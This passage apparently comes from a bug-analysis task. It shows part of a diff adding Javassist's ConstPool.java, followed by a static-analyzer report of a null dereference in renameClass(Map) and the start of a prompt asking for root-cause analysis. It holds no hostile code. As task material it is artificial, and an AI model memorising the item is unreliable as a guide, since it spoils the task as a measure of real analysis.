+            NameAndTypeInfo n = (NameAndTypeInfo) getItem(f.nameAndTypeIndex);
+            if(n == null)
+                return null;
+            else
+                return getUtf8Info(n.typeDescriptor);
+        }
+    }
+
+    /**
+     * Reads the <code>class_index</code> field of the
+     * <code>CONSTANT_Methodref_info</code> structure
+     * at the given index.
+     */
+    public int getMethodrefClass(int index) {
+        MethodrefInfo minfo = (MethodrefInfo)getItem(index);
+        return minfo.classIndex;
+    }
+
+    /**
+     * Reads the <code>class_index</code> field of the
+     * <code>CONSTANT_Methodref_info</code> structure
+     * at the given index.
+     *
+     * @return the name of the class at that <code>class_index</code>.
+     */
+    public String getMethodrefClassName(int index) {
+        MethodrefInfo minfo = (MethodrefInfo)getItem(index);
+        if (minfo == null)
+            return null;
+        else
+            return getClassInfo(minfo.classIndex);
+    }
+
+    /**
+     * Reads the <code>name_and_type_index</code> field of the
+     * <code>CONSTANT_Methodref_info</code> structure
+     * at the given index.
+     */
+    public int getMethodrefNameAndType(int index) {
+        MethodrefInfo minfo = (MethodrefInfo)getItem(index);
+        return minfo.nameAndTypeIndex;
+    }
+
+    /**
+     * Reads the <code>name_index</code> field of the
+     * <code>CONSTANT_NameAndType_info</code> structure
+     * indirectly specified by the given index.
+     *
+     * @param index     an index to a <code>CONSTANT_Methodref_info</code>.
+     * @return  the name of the method.
+     */
+    public String getMethodrefName(int index) {
+        MethodrefInfo minfo = (MethodrefInfo)getItem(index);
+        if (minfo == null)
+            return null;
+        else {
+            NameAndTypeInfo n
+                = (NameAndTypeInfo)getItem(minfo.nameAndTypeIndex);
+            if(n == null)
+                return null;
+            else
+                return getUtf8Info(n.memberName);
+        }
+    }
+
+    /**
+     * Reads the <code>descriptor_index</code> field of the
+     * <code>CONSTANT_NameAndType_info</code> structure
+     * indirectly specified by the given index.
+     *
+     * @param index     an index to a <code>CONSTANT_Methodref_info</code>.
+     * @return  the descriptor of the method.
+     */
+    public String getMethodrefType(int index) {
+        MethodrefInfo minfo = (MethodrefInfo)getItem(index);
+        if (minfo == null)
+            return null;
+        else {
+            NameAndTypeInfo n
+                = (NameAndTypeInfo)getItem(minfo.nameAndTypeIndex);
+            if(n == null)
+                return null;
+            else
+                return getUtf8Info(n.typeDescriptor);
+        }
+    }
+
+    /**
+     * Reads the <code>class_index</code> field of the
+     * <code>CONSTANT_InterfaceMethodref_info</code> structure
+     * at the given index.
+     */
+    public int getInterfaceMethodrefClass(int index) {
+        InterfaceMethodrefInfo minfo
+            = (InterfaceMethodrefInfo)getItem(index);
+        return minfo.classIndex;
+    }
+
+    /**
+     * Reads the <code>class_index</code> field of the
+     * <code>CONSTANT_InterfaceMethodref_info</code> structure
+     * at the given index.
+     *
+     * @return the name of the class at that <code>class_index</code>.
+     */
+    public String getInterfaceMethodrefClassName(int index) {
+        InterfaceMethodrefInfo minfo
+            = (InterfaceMethodrefInfo)getItem(index);
+        return getClassInfo(minfo.classIndex);
+    }
+
+    /**
+     * Reads the <code>name_and_type_index</code> field of the
+     * <code>CONSTANT_InterfaceMethodref_info</code> structure
+     * at the given index.
+     */
+    public int getInterfaceMethodrefNameAndType(int index) {
+        InterfaceMethodrefInfo minfo
+            = (InterfaceMethodrefInfo)getItem(index);
+        return minfo.nameAndTypeIndex;
+    }
+
+    /**
+     * Reads the <code>name_index</code> field of the
+     * <code>CONSTANT_NameAndType_info</code> structure
+     * indirectly specified by the given index.
+     *
+     * @param index     an index to
+     *                  a <code>CONSTANT_InterfaceMethodref_info</code>.
+     * @return  the name of the method.
+     */
+    public String getInterfaceMethodrefName(int index) {
+        InterfaceMethodrefInfo minfo
+            = (InterfaceMethodrefInfo)getItem(index);
+        if (minfo == null)
+            return null;
+        else {
+            NameAndTypeInfo n
+                = (NameAndTypeInfo)getItem(minfo.nameAndTypeIndex);
+            if(n == null)
+                return null;
+            else
+                return getUtf8Info(n.memberName);
+        }
+    }
+
+    /**
+     * Reads the <code>descriptor_index</code> field of the
+     * <code>CONSTANT_NameAndType_info</code> structure
+     * indirectly specified by the given index.
+     *
+     * @param index     an index to
+     *                  a <code>CONSTANT_InterfaceMethodref_info</code>.
+     * @return  the descriptor of the method.
+     */
+    public String getInterfaceMethodrefType(int index) {
+        InterfaceMethodrefInfo minfo
+            = (InterfaceMethodrefInfo)getItem(index);
+        if (minfo == null)
+            return null;
+        else {
+            NameAndTypeInfo n
+                = (NameAndTypeInfo)getItem(minfo.nameAndTypeIndex);
+            if(n == null)
+                return null;
+            else
+                return getUtf8Info(n.typeDescriptor);
+        }
+    }
+    /**
+     * Reads <code>CONSTANT_Integer_info</code>, <code>_Float_info</code>,
+     * <code>_Long_info</code>, <code>_Double_info</code>, or
+     * <code>_String_info</code> structure.
+     * These are used with the LDC instruction.
+     *
+     * @return a <code>String</code> value or a wrapped primitive-type
+     * value.
+     */
+    public Object getLdcValue(int index) {
+        ConstInfo constInfo = this.getItem(index);
+        Object value = null;
+        if (constInfo instanceof StringInfo)
+            value = this.getStringInfo(index);
+        else if (constInfo instanceof FloatInfo)
+            value = new Float(getFloatInfo(index));
+        else if (constInfo instanceof IntegerInfo)
+            value = new Integer(getIntegerInfo(index));
+        else if (constInfo instanceof LongInfo)
+            value = new Long(getLongInfo(index));
+        else if (constInfo instanceof DoubleInfo)
+            value = new Double(getDoubleInfo(index));
+        else
+            value = null;
+
+        return value;
+    }
+
+    /**
+     * Reads <code>CONSTANT_Integer_info</code> structure
+     * at the given index.
+     *
+     * @return the value specified by this entry.
+     */
+    public int getIntegerInfo(int index) {
+        IntegerInfo i = (IntegerInfo)getItem(index);
+        return i.value;
+    }
+
+    /**
+     * Reads <code>CONSTANT_Float_info</code> structure
+     * at the given index.
+     *
+     * @return the value specified by this entry.
+     */
+    public float getFloatInfo(int index) {
+        FloatInfo i = (FloatInfo)getItem(index);
+        return i.value;
+    }
+
+    /**
+     * Reads <code>CONSTANT_Long_info</code> structure
+     * at the given index.
+     *
+     * @return the value specified by this entry.
+     */
+    public long getLongInfo(int index) {
+        LongInfo i = (LongInfo)getItem(index);
+        return i.value;
+    }
+
+    /**
+     * Reads <code>CONSTANT_Double_info</code> structure
+     * at the given index.
+     *
+     * @return the value specified by this entry.
+     */
+    public double getDoubleInfo(int index) {
+        DoubleInfo i = (DoubleInfo)getItem(index);
+        return i.value;
+    }
+
+    /**
+     * Reads <code>CONSTANT_String_info</code> structure
+     * at the given index.
+     *
+     * @return the string specified by <code>string_index</code>.
+     */
+    public String getStringInfo(int index) {
+        StringInfo si = (StringInfo)getItem(index);
+        return getUtf8Info(si.string);
+    }
+
+    /**
+     * Reads <code>CONSTANT_utf8_info</code> structure
+     * at the given index.
+     *
+     * @return the string specified by this entry.
+     */
+    public String getUtf8Info(int index) {
+        Utf8Info utf = (Utf8Info)getItem(index);
+        return utf.string;
+    }
+
+    /**
+     * Determines whether <code>CONSTANT_Methodref_info</code>
+     * structure at the given index represents the constructor
+     * of the given class.
+     *
+     * @return          the <code>descriptor_index</code> specifying
+     *                  the type descriptor of the that constructor.
+     *                  If it is not that constructor,
+     *                  <code>isConstructor()</code> returns 0.
+     */
+    public int isConstructor(String classname, int index) {
+        return isMember(classname, MethodInfo.nameInit, index);
+    }
+
+    /**
+     * Determines whether <code>CONSTANT_Methodref_info</code>,
+     * <code>CONSTANT_Fieldref_info</code>, or
+     * <code>CONSTANT_InterfaceMethodref_info</code> structure
+     * at the given index represents the member with the specified
+     * name and declaring class.
+     *
+     * @param classname         the class declaring the member
+     * @param membername        the member name
+     * @param index             the index into the constant pool table
+     *
+     * @return          the <code>descriptor_index</code> specifying
+     *                  the type descriptor of that member.
+     *                  If it is not that member,
+     *                  <code>isMember()</code> returns 0.
+     */
+    public int isMember(String classname, String membername, int index) {
+        MemberrefInfo minfo = (MemberrefInfo)getItem(index);
+        if (getClassInfo(minfo.classIndex).equals(classname)) {
+            NameAndTypeInfo ntinfo
+                = (NameAndTypeInfo)getItem(minfo.nameAndTypeIndex);
+            if (getUtf8Info(ntinfo.memberName).equals(membername))
+                return ntinfo.typeDescriptor;
+        }
+
+        return 0;       // false
+    }
+
+    private int addItem(ConstInfo info) {
+        items.addElement(info);
+        return numOfItems++;
+    }
+
+    /**
+     * Copies the n-th item in this ConstPool object into the destination
+     * ConstPool object.
+     * The class names that the item refers to are renamed according
+     * to the given map.
+     *
+     * @param n                 the <i>n</i>-th item
+     * @param dest              destination constant pool table
+     * @param classnames        the map or null.
+     * @return the index of the copied item into the destination ClassPool.
+     */
+    public int copy(int n, ConstPool dest, Map classnames) {
+        if (n == 0)
+            return 0;
+
+        ConstInfo info = getItem(n);
+        return info.copy(this, dest, classnames);
+    }
+
+    int addConstInfoPadding() {
+        return addItem(new ConstInfoPadding());
+    }
+
+    /**
+     * Adds a new <code>CONSTANT_Class_info</code> structure.
+     *
+     * <p>This also adds a <code>CONSTANT_Utf8_info</code> structure
+     * for storing the class name.
+     *
+     * @return          the index of the added entry.
+     */
+    public int addClassInfo(CtClass c) {
+        if (c == THIS)
+            return thisClassInfo;
+        else if (!c.isArray())
+            return addClassInfo(c.getName());
+        else {
+            // an array type is recorded in the hashtable with
+            // the key "[L<classname>;" instead of "<classname>".
+            //
+            // note: toJvmName(toJvmName(c)) is equal to toJvmName(c).
+
+            return addClassInfo(Descriptor.toJvmName(c));
+        }
+    }
+
+    /**
+     * Adds a new <code>CONSTANT_Class_info</code> structure.
+     *
+     * <p>This also adds a <code>CONSTANT_Utf8_info</code> structure
+     * for storing the class name.
+     *
+     * @param qname     a fully-qualified class name
+     *                  (or the JVM-internal representation of that name).
+     * @return          the index of the added entry.
+     */
+    public int addClassInfo(String qname) {
+        ClassInfo info = (ClassInfo)classes.get(qname);
+        if (info != null)
+            return info.index;
+        else {
+            int utf8 = addUtf8Info(Descriptor.toJvmName(qname));
+            info = new ClassInfo(utf8, numOfItems);
+            classes.put(qname, info);
+            return addItem(info);
+        }
+    }
+
+    /**
+     * Adds a new <code>CONSTANT_NameAndType_info</code> structure.
+     *
+     * <p>This also adds <code>CONSTANT_Utf8_info</code> structures.
+     *
+     * @param name      <code>name_index</code>
+     * @param type      <code>descriptor_index</code>
+     * @return          the index of the added entry.
+     */
+    public int addNameAndTypeInfo(String name, String type) {
+        return addNameAndTypeInfo(addUtf8Info(name), addUtf8Info(type));
+    }
+
+    /**
+     * Adds a new <code>CONSTANT_NameAndType_info</code> structure.
+     *
+     * @param name      <code>name_index</code>
+     * @param type      <code>descriptor_index</code>
+     * @return          the index of the added entry.
+     */
+    public int addNameAndTypeInfo(int name, int type) {
+        return addItem(new NameAndTypeInfo(name, type));
+    }
+
+    /**
+     * Adds a new <code>CONSTANT_Fieldref_info</code> structure.
+     *
+     * <p>This also adds a new <code>CONSTANT_NameAndType_info</code>
+     * structure.
+     *
+     * @param classInfo         <code>class_index</code>
+     * @param name              <code>name_index</code>
+     *                          of <code>CONSTANT_NameAndType_info</code>.
+     * @param type              <code>descriptor_index</code>
+     *                          of <code>CONSTANT_NameAndType_info</code>.
+     * @return          the index of the added entry.
+     */
+    public int addFieldrefInfo(int classInfo, String name, String type) {
+        int nt = addNameAndTypeInfo(name, type);
+        return addFieldrefInfo(classInfo, nt);
+    }
+
+    /**
+     * Adds a new <code>CONSTANT_Fieldref_info</code> structure.
+     *
+     * @param classInfo         <code>class_index</code>
+     * @param nameAndTypeInfo   <code>name_and_type_index</code>.
+     * @return          the index of the added entry.
+     */
+    public int addFieldrefInfo(int classInfo, int nameAndTypeInfo) {
+        return addItem(new FieldrefInfo(classInfo, nameAndTypeInfo));
+    }
+
+    /**
+     * Adds a new <code>CONSTANT_Methodref_info</code> structure.
+     *
+     * <p>This also adds a new <code>CONSTANT_NameAndType_info</code>
+     * structure.
+     *
+     * @param classInfo         <code>class_index</code>
+     * @param name              <code>name_index</code>
+     *                          of <code>CONSTANT_NameAndType_info</code>.
+     * @param type              <code>descriptor_index</code>
+     *                          of <code>CONSTANT_NameAndType_info</code>.
+     * @return          the index of the added entry.
+     */
+    public int addMethodrefInfo(int classInfo, String name, String type) {
+        int nt = addNameAndTypeInfo(name, type);
+        return addMethodrefInfo(classInfo, nt);
+    }
+
+    /**
+     * Adds a new <code>CONSTANT_Methodref_info</code> structure.
+     *
+     * @param classInfo         <code>class_index</code>
+     * @param nameAndTypeInfo   <code>name_and_type_index</code>.
+     * @return          the index of the added entry.
+     */
+    public int addMethodrefInfo(int classInfo, int nameAndTypeInfo) {
+        return addItem(new MethodrefInfo(classInfo, nameAndTypeInfo));
+    }
+
+    /**
+     * Adds a new <code>CONSTANT_InterfaceMethodref_info</code>
+     * structure.
+     *
+     * <p>This also adds a new <code>CONSTANT_NameAndType_info</code>
+     * structure.
+     *
+     * @param classInfo         <code>class_index</code>
+     * @param name              <code>name_index</code>
+     *                          of <code>CONSTANT_NameAndType_info</code>.
+     * @param type              <code>descriptor_index</code>
+     *                          of <code>CONSTANT_NameAndType_info</code>.
+     * @return          the index of the added entry.
+     */
+    public int addInterfaceMethodrefInfo(int classInfo, String name,
+                                         String type) {
+        int nt = addNameAndTypeInfo(name, type);
+        return addInterfaceMethodrefInfo(classInfo, nt);
+    }
+
+    /**
+     * Adds a new <code>CONSTANT_InterfaceMethodref_info</code>
+     * structure.
+     *
+     * @param classInfo         <code>class_index</code>
+     * @param nameAndTypeInfo   <code>name_and_type_index</code>.
+     * @return          the index of the added entry.
+     */
+    public int addInterfaceMethodrefInfo(int classInfo,
+                                         int nameAndTypeInfo) {
+        return addItem(new InterfaceMethodrefInfo(classInfo,
+                                                  nameAndTypeInfo));
+    }
+
+    /**
+     * Adds a new <code>CONSTANT_String_info</code>
+     * structure.
+     *
+     * <p>This also adds a new <code>CONSTANT_Utf8_info</code>
+     * structure.
+     *
+     * @return          the index of the added entry.
+     */
+    public int addStringInfo(String str) {
+        return addItem(new StringInfo(addUtf8Info(str)));
+    }
+
+    /**
+     * Adds a new <code>CONSTANT_Integer_info</code>
+     * structure.
+     *
+     * @return          the index of the added entry.
+     */
+    public int addIntegerInfo(int i) {
+        return addItem(new IntegerInfo(i));
+    }
+
+    /**
+     * Adds a new <code>CONSTANT_Float_info</code>
+     * structure.
+     *
+     * @return          the index of the added entry.
+     */
+    public int addFloatInfo(float f) {
+        return addItem(new FloatInfo(f));
+    }
+
+    /**
+     * Adds a new <code>CONSTANT_Long_info</code>
+     * structure.
+     *
+     * @return          the index of the added entry.
+     */
+    public int addLongInfo(long l) {
+        int i = addItem(new LongInfo(l));
+        addItem(new ConstInfoPadding());
+        return i;
+    }
+
+    /**
+     * Adds a new <code>CONSTANT_Double_info</code>
+     * structure.
+     *
+     * @return          the index of the added entry.
+     */
+    public int addDoubleInfo(double d) {
+        int i = addItem(new DoubleInfo(d));
+        addItem(new ConstInfoPadding());
+        return i;
+    }
+
+    /**
+     * Adds a new <code>CONSTANT_Utf8_info</code>
+     * structure.
+     *
+     * <p>If the given utf8 string has been already recorded in the
+     * table, then this method does not add a new entry to avoid adding
+     * a duplicated entry.
+     * Instead, it returns the index of the entry already recorded.
+     *
+     * @return          the index of the added entry.
+     */
+    public int addUtf8Info(String utf8) {
+        Utf8Info info = (Utf8Info)strings.get(utf8);
+        if (info != null)
+            return info.index;
+        else {
+            info = new Utf8Info(utf8, numOfItems);
+            strings.put(utf8, info);
+            return addItem(info);
+        }
+    }
+
+    /**
+     * Get all the class names.
+     *
+     * @return a set of class names
+     */
+    public Set getClassNames()
+    {
+        HashSet result = new HashSet();
+        LongVector v = items;
+        int size = numOfItems;
+        for (int i = 1; i < size; ++i) {
+            String className = ((ConstInfo) v.elementAt(i)).getClassName(this);
+            if (className != null)
+               result.add(className);
+        }
+        return result;
+    }
+
+    /**
+     * Replaces all occurrences of a class name.
+     *
+     * @param oldName           the replaced name
+     * @param newName           the substituted name.
+     */
+    public void renameClass(String oldName, String newName) {
+        LongVector v = items;
+        int size = numOfItems;
+        for (int i = 1; i < size; ++i)
+            ((ConstInfo)v.elementAt(i)).renameClass(this, oldName, newName);
+    }
+
+    /**
+     * Replaces all occurrences of class names.
+     *
+     * @param classnames        specifies pairs of replaced and substituted
+     *                          name.
+     */
+    public void renameClass(Map classnames) {
+        LongVector v = items;
+        int size = numOfItems;
+        for (int i = 1; i < size; ++i)
+            ((ConstInfo)v.elementAt(i)).renameClass(this, classnames);
+    }
+
+    private void read(DataInputStream in) throws IOException {
+        int n = in.readUnsignedShort();
+
+        items = new LongVector(n);
+        numOfItems = 0;
+        addItem(null);          // index 0 is reserved by the JVM.
+
+        while (--n > 0) {       // index 0 is reserved by JVM
+            int tag = readOne(in);
+            if ((tag == LongInfo.tag) || (tag == DoubleInfo.tag)) {
+                addItem(new ConstInfoPadding());
+                --n;
+            }
+        }
+
+        int i = 1;
+        while (true) {
+            ConstInfo info = (ConstInfo)items.elementAt(i++);
+            if (info == null)
+                break;
+            else
+                info.makeHashtable(this);
+        }
+    }
+
+    private int readOne(DataInputStream in) throws IOException {
+        ConstInfo info;
+        int tag = in.readUnsignedByte();
+        switch (tag) {
+        case Utf8Info.tag :                     // 1
+            info = new Utf8Info(in, numOfItems);
+            strings.put(((Utf8Info)info).string, info);
+            break;
+        case IntegerInfo.tag :                  // 3
+            info = new IntegerInfo(in);
+            break;
+        case FloatInfo.tag :                    // 4
+            info = new FloatInfo(in);
+            break;
+        case LongInfo.tag :                     // 5
+            info = new LongInfo(in);
+            break;
+        case DoubleInfo.tag :                   // 6
+            info = new DoubleInfo(in);
+            break;
+        case ClassInfo.tag :                    // 7
+            info = new ClassInfo(in, numOfItems);
+            // classes.put(<classname>, info);
+            break;
+        case StringInfo.tag :                   // 8
+            info = new StringInfo(in);
+            break;
+        case FieldrefInfo.tag :                 // 9
+            info = new FieldrefInfo(in);
+            break;
+        case MethodrefInfo.tag :                // 10
+            info = new MethodrefInfo(in);
+            break;
+        case InterfaceMethodrefInfo.tag :       // 11
+            info = new InterfaceMethodrefInfo(in);
+            break;
+        case NameAndTypeInfo.tag :              // 12
+            info = new NameAndTypeInfo(in);
+            break;
+        default :
+            throw new IOException("invalid constant type: " + tag);
+        }
+
+        addItem(info);
+        return tag;
+    }
+
+    /**
+     * Writes the contents of the constant pool table.
+     */
+    public void write(DataOutputStream out) throws IOException {
+        out.writeShort(numOfItems);
+        LongVector v = items;
+        int size = numOfItems;
+        for (int i = 1; i < size; ++i)
+            ((ConstInfo)v.elementAt(i)).write(out);
+    }
+
+    /**
+     * Prints the contents of the constant pool table.
+     */
+    public void print() {
+        print(new PrintWriter(System.out, true));
+    }
+
+    /**
+     * Prints the contents of the constant pool table.
+     */
+    public void print(PrintWriter out) {
+        int size = numOfItems;
+        for (int i = 1; i < size; ++i) {
+            out.print(i);
+            out.print(" ");
+            ((ConstInfo)items.elementAt(i)).print(out);
+        }
+    }
+}
+
+abstract class ConstInfo {
+    public abstract int getTag();
+
+    public String getClassName(ConstPool cp) { return null; }
+    public void renameClass(ConstPool cp, String oldName, String newName) {}
+    public void renameClass(ConstPool cp, Map classnames) {}
+    public abstract int copy(ConstPool src, ConstPool dest, Map classnames);
+                        // ** classnames is a mapping between JVM names.
+
+    public abstract void write(DataOutputStream out) throws IOException;
+    public abstract void print(PrintWriter out);
+
+    void makeHashtable(ConstPool cp) {}     // called after read() finishes in ConstPool.
+
+    public String toString() {
+        ByteArrayOutputStream bout = new ByteArrayOutputStream();
+        PrintWriter out = new PrintWriter(bout);
+        print(out);
+        return bout.toString();
+    }
+}
+
+/* padding following DoubleInfo or LongInfo.
+ */
+class ConstInfoPadding extends ConstInfo {
+    public int getTag() { return 0; }
+
+    public int copy(ConstPool src, ConstPool dest, Map map) {
+        return dest.addConstInfoPadding();
+    }
+
+    public void write(DataOutputStream out) throws IOException {}
+
+    public void print(PrintWriter out) {
+        out.println("padding");
+    }
+}
+
+class ClassInfo extends ConstInfo {
+    static final int tag = 7;
+    int name;
+    int index;
+
+    public ClassInfo(int className, int i) {
+        name = className;
+        index = i;
+    }
+
+    public ClassInfo(DataInputStream in, int i) throws IOException {
+        name = in.readUnsignedShort();
+        index = i;
+    }
+
+    public int getTag() { return tag; }
+
+    public String getClassName(ConstPool cp) {
+        return cp.getUtf8Info(name);
+    };
+
+    public void renameClass(ConstPool cp, String oldName, String newName) {
+        String nameStr = cp.getUtf8Info(name);
+        if (nameStr.equals(oldName))
+            name = cp.addUtf8Info(newName);
+        else if (nameStr.charAt(0) == '[') {
+            String nameStr2 = Descriptor.rename(nameStr, oldName, newName);
+            if (nameStr != nameStr2)
+                name = cp.addUtf8Info(nameStr2);
+        }
+    }
+
+    public void renameClass(ConstPool cp, Map map) {
+        String oldName = cp.getUtf8Info(name);
+        if (oldName.charAt(0) == '[') {
+            String newName = Descriptor.rename(oldName, map);
+            if (oldName != newName)
+                name = cp.addUtf8Info(newName);
+        }
+        else {
+            String newName = (String)map.get(oldName);
+            if (newName != null && !newName.equals(oldName))
+                name = cp.addUtf8Info(newName);
+        }
+    }
+
+    public int copy(ConstPool src, ConstPool dest, Map map) {
+        String classname = src.getUtf8Info(name);
+        if (map != null) {
+            String newname = (String)map.get(classname);
+            if (newname != null)
+                classname = newname;
+        }
+
+        return dest.addClassInfo(classname);
+    }
+
+    public void write(DataOutputStream out) throws IOException {
+        out.writeByte(tag);
+        out.writeShort(name);
+    }
+
+    public void print(PrintWriter out) {
+        out.print("Class #");
+        out.println(name);
+    }
+
+    void makeHashtable(ConstPool cp) {
+        String name = Descriptor.toJavaName(getClassName(cp));
+        cp.classes.put(name, this);
+    }
+}
+
+class NameAndTypeInfo extends ConstInfo {
+    static final int tag = 12;
+    int memberName;
+    int typeDescriptor;
+
+    public NameAndTypeInfo(int name, int type) {
+        memberName = name;
+        typeDescriptor = type;
+    }
+
+    public NameAndTypeInfo(DataInputStream in) throws IOException {
+        memberName = in.readUnsignedShort();
+        typeDescriptor = in.readUnsignedShort();
+    }
+
+    public int getTag() { return tag; }
+
+    public void renameClass(ConstPool cp, String oldName, String newName) {
+        String type = cp.getUtf8Info(typeDescriptor);
+        String type2 = Descriptor.rename(type, oldName, newName);
+        if (type != type2)
+            typeDescriptor = cp.addUtf8Info(type2);
+    }
+
+    public void renameClass(ConstPool cp, Map map) {
+        String type = cp.getUtf8Info(typeDescriptor);
+        String type2 = Descriptor.rename(type, map);
+        if (type != type2)
+            typeDescriptor = cp.addUtf8Info(type2);
+    }
+
+    public int copy(ConstPool src, ConstPool dest, Map map) {
+        String mname = src.getUtf8Info(memberName);
+        String tdesc = src.getUtf8Info(typeDescriptor);
+        tdesc = Descriptor.rename(tdesc, map);
+        return dest.addNameAndTypeInfo(dest.addUtf8Info(mname),
+                                       dest.addUtf8Info(tdesc));
+    }
+
+    public void write(DataOutputStream out) throws IOException {
+        out.writeByte(tag);
+        out.writeShort(memberName);
+        out.writeShort(typeDescriptor);
+    }
+
+    public void print(PrintWriter out) {
+        out.print("NameAndType #");
+        out.print(memberName);
+        out.print(", type #");
+        out.println(typeDescriptor);
+    }
+}
+
+abstract class MemberrefInfo extends ConstInfo {
+    int classIndex;
+    int nameAndTypeIndex;
+
+    public MemberrefInfo(int cindex, int ntindex) {
+        classIndex = cindex;
+        nameAndTypeIndex = ntindex;
+    }
+
+    public MemberrefInfo(DataInputStream in) throws IOException {
+        classIndex = in.readUnsignedShort();
+        nameAndTypeIndex = in.readUnsignedShort();
+    }
+
+    public int copy(ConstPool src, ConstPool dest, Map map) {
+        int classIndex2 = src.getItem(classIndex).copy(src, dest, map);
+        int ntIndex2 = src.getItem(nameAndTypeIndex).copy(src, dest, map);
+        return copy2(dest, classIndex2, ntIndex2);
+    }
+
+    abstract protected int copy2(ConstPool dest, int cindex, int ntindex);
+
+    public void write(DataOutputStream out) throws IOException {
+        out.writeByte(getTag());
+        out.writeShort(classIndex);
+        out.writeShort(nameAndTypeIndex);
+    }
+
+    public void print(PrintWriter out) {
+        out.print(getTagName() + " #");
+        out.print(classIndex);
+        out.print(", name&type #");
+        out.println(nameAndTypeIndex);
+    }
+
+    public abstract String getTagName();
+}
+
+class FieldrefInfo extends MemberrefInfo {
+    static final int tag = 9;
+
+    public FieldrefInfo(int cindex, int ntindex) {
+        super(cindex, ntindex);
+    }
+
+    public FieldrefInfo(DataInputStream in) throws IOException {
+        super(in);
+    }
+
+    public int getTag() { return tag; }
+
+    public String getTagName() { return "Field"; }
+
+    protected int copy2(ConstPool dest, int cindex, int ntindex) {
+        return dest.addFieldrefInfo(cindex, ntindex);
+    }
+}
+
+class MethodrefInfo extends MemberrefInfo {
+    static final int tag = 10;
+
+    public MethodrefInfo(int cindex, int ntindex) {
+        super(cindex, ntindex);
+    }
+
+    public MethodrefInfo(DataInputStream in) throws IOException {
+        super(in);
+    }
+
+    public int getTag() { return tag; }
+
+    public String getTagName() { return "Method"; }
+
+    protected int copy2(ConstPool dest, int cindex, int ntindex) {
+        return dest.addMethodrefInfo(cindex, ntindex);
+    }
+}
+
+class InterfaceMethodrefInfo extends MemberrefInfo {
+    static final int tag = 11;
+
+    public InterfaceMethodrefInfo(int cindex, int ntindex) {
+        super(cindex, ntindex);
+    }
+
+    public InterfaceMethodrefInfo(DataInputStream in) throws IOException {
+        super(in);
+    }
+
+    public int getTag() { return tag; }
+
+    public String getTagName() { return "Interface"; }
+
+    protected int copy2(ConstPool dest, int cindex, int ntindex) {
+        return dest.addInterfaceMethodrefInfo(cindex, ntindex);
+    }
+}
+
+class StringInfo extends ConstInfo {
+    static final int tag = 8;
+    int string;
+
+    public StringInfo(int str) {
+        string = str;
+    }
+
+    public StringInfo(DataInputStream in) throws IOException {
+        string = in.readUnsignedShort();
+    }
+
+    public int getTag() { return tag; }
+
+    public int copy(ConstPool src, ConstPool dest, Map map) {
+        return dest.addStringInfo(src.getUtf8Info(string));
+    }
+
+    public void write(DataOutputStream out) throws IOException {
+        out.writeByte(tag);
+        out.writeShort(string);
+    }
+
+    public void print(PrintWriter out) {
+        out.print("String #");
+        out.println(string);
+    }
+}
+
+class IntegerInfo extends ConstInfo {
+    static final int tag = 3;
+    int value;
+
+    public IntegerInfo(int i) {
+        value = i;
+    }
+
+    public IntegerInfo(DataInputStream in) throws IOException {
+        value = in.readInt();
+    }
+
+    public int getTag() { return tag; }
+
+    public int copy(ConstPool src, ConstPool dest, Map map) {
+        return dest.addIntegerInfo(value);
+    }
+
+    public void write(DataOutputStream out) throws IOException {
+        out.writeByte(tag);
+        out.writeInt(value);
+    }
+
+    public void print(PrintWriter out) {
+        out.print("Integer ");
+        out.println(value);
+    }
+}
+
+class FloatInfo extends ConstInfo {
+    static final int tag = 4;
+    float value;
+
+    public FloatInfo(float f) {
+        value = f;
+    }
+
+    public FloatInfo(DataInputStream in) throws IOException {
+        value = in.readFloat();
+    }
+
+    public int getTag() { return tag; }
+
+    public int copy(ConstPool src, ConstPool dest, Map map) {
+        return dest.addFloatInfo(value);
+    }
+
+    public void write(DataOutputStream out) throws IOException {
+        out.writeByte(tag);
+        out.writeFloat(value);
+    }
+
+    public void print(PrintWriter out) {
+        out.print("Float ");
+        out.println(value);
+    }
+}
+
+class LongInfo extends ConstInfo {
+    static final int tag = 5;
+    long value;
+
+    public LongInfo(long l) {
+        value = l;
+    }
+
+    public LongInfo(DataInputStream in) throws IOException {
+        value = in.readLong();
+    }
+
+    public int getTag() { return tag; }
+
+    public int copy(ConstPool src, ConstPool dest, Map map) {
+        return dest.addLongInfo(value);
+    }
+
+    public void write(DataOutputStream out) throws IOException {
+        out.writeByte(tag);
+        out.writeLong(value);
+    }
+
+    public void print(PrintWriter out) {
+        out.print("Long ");
+        out.println(value);
+    }
+}
+
+class DoubleInfo extends ConstInfo {
+    static final int tag = 6;
+    double value;
+
+    public DoubleInfo(double d) {
+        value = d;
+    }
+
+    public DoubleInfo(DataInputStream in) throws IOException {
+        value = in.readDouble();
+    }
+
+    public int getTag() { return tag; }
+
+    public int copy(ConstPool src, ConstPool dest, Map map) {
+        return dest.addDoubleInfo(value);
+    }
+
+    public void write(DataOutputStream out) throws IOException {
+        out.writeByte(tag);
+        out.writeDouble(value);
+    }
+
+    public void print(PrintWriter out) {
+        out.print("Double ");
+        out.println(value);
+    }
+}
+
+class Utf8Info extends ConstInfo {
+    static final int tag = 1;
+    String string;
+    int index;
+
+    public Utf8Info(String utf8, int i) {
+        string = utf8;
+        index = i;
+    }
+
+    public Utf8Info(DataInputStream in, int i) throws IOException {
+        string = in.readUTF();
+        index = i;
+    }
+
+    public int getTag() { return tag; }
+
+    public int copy(ConstPool src, ConstPool dest, Map map) {
+        return dest.addUtf8Info(string);
+    }
+
+    public void write(DataOutputStream out) throws IOException {
+        out.writeByte(tag);
+        out.writeUTF(string);
+    }
+
+    public void print(PrintWriter out) {
+        out.print("UTF8 \"");
+        out.print(string);
+        out.println("\"");
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `v.elementAt(i)` could be null and is dereferenced at line 891.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ConstPool.renameClass(Map)
+
+### Procedure Id:
+javassist.bytecode.ConstPool.renameClass(java.util.Map):void.583d03384d930ef0c0677fb4560529df
+
+### File:
+src/main/javassist/bytecode/ConstPool.java
+
+### Key:
+ConstPool.java|renameClass|NULL_DEREFERENCE
+
+### Node Key:
+d9e41fb8ceb2c580ffcd615d2a846dd1
+
+### Hash:
+32bc8d9bcf7c04c1c39f642344201ade
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
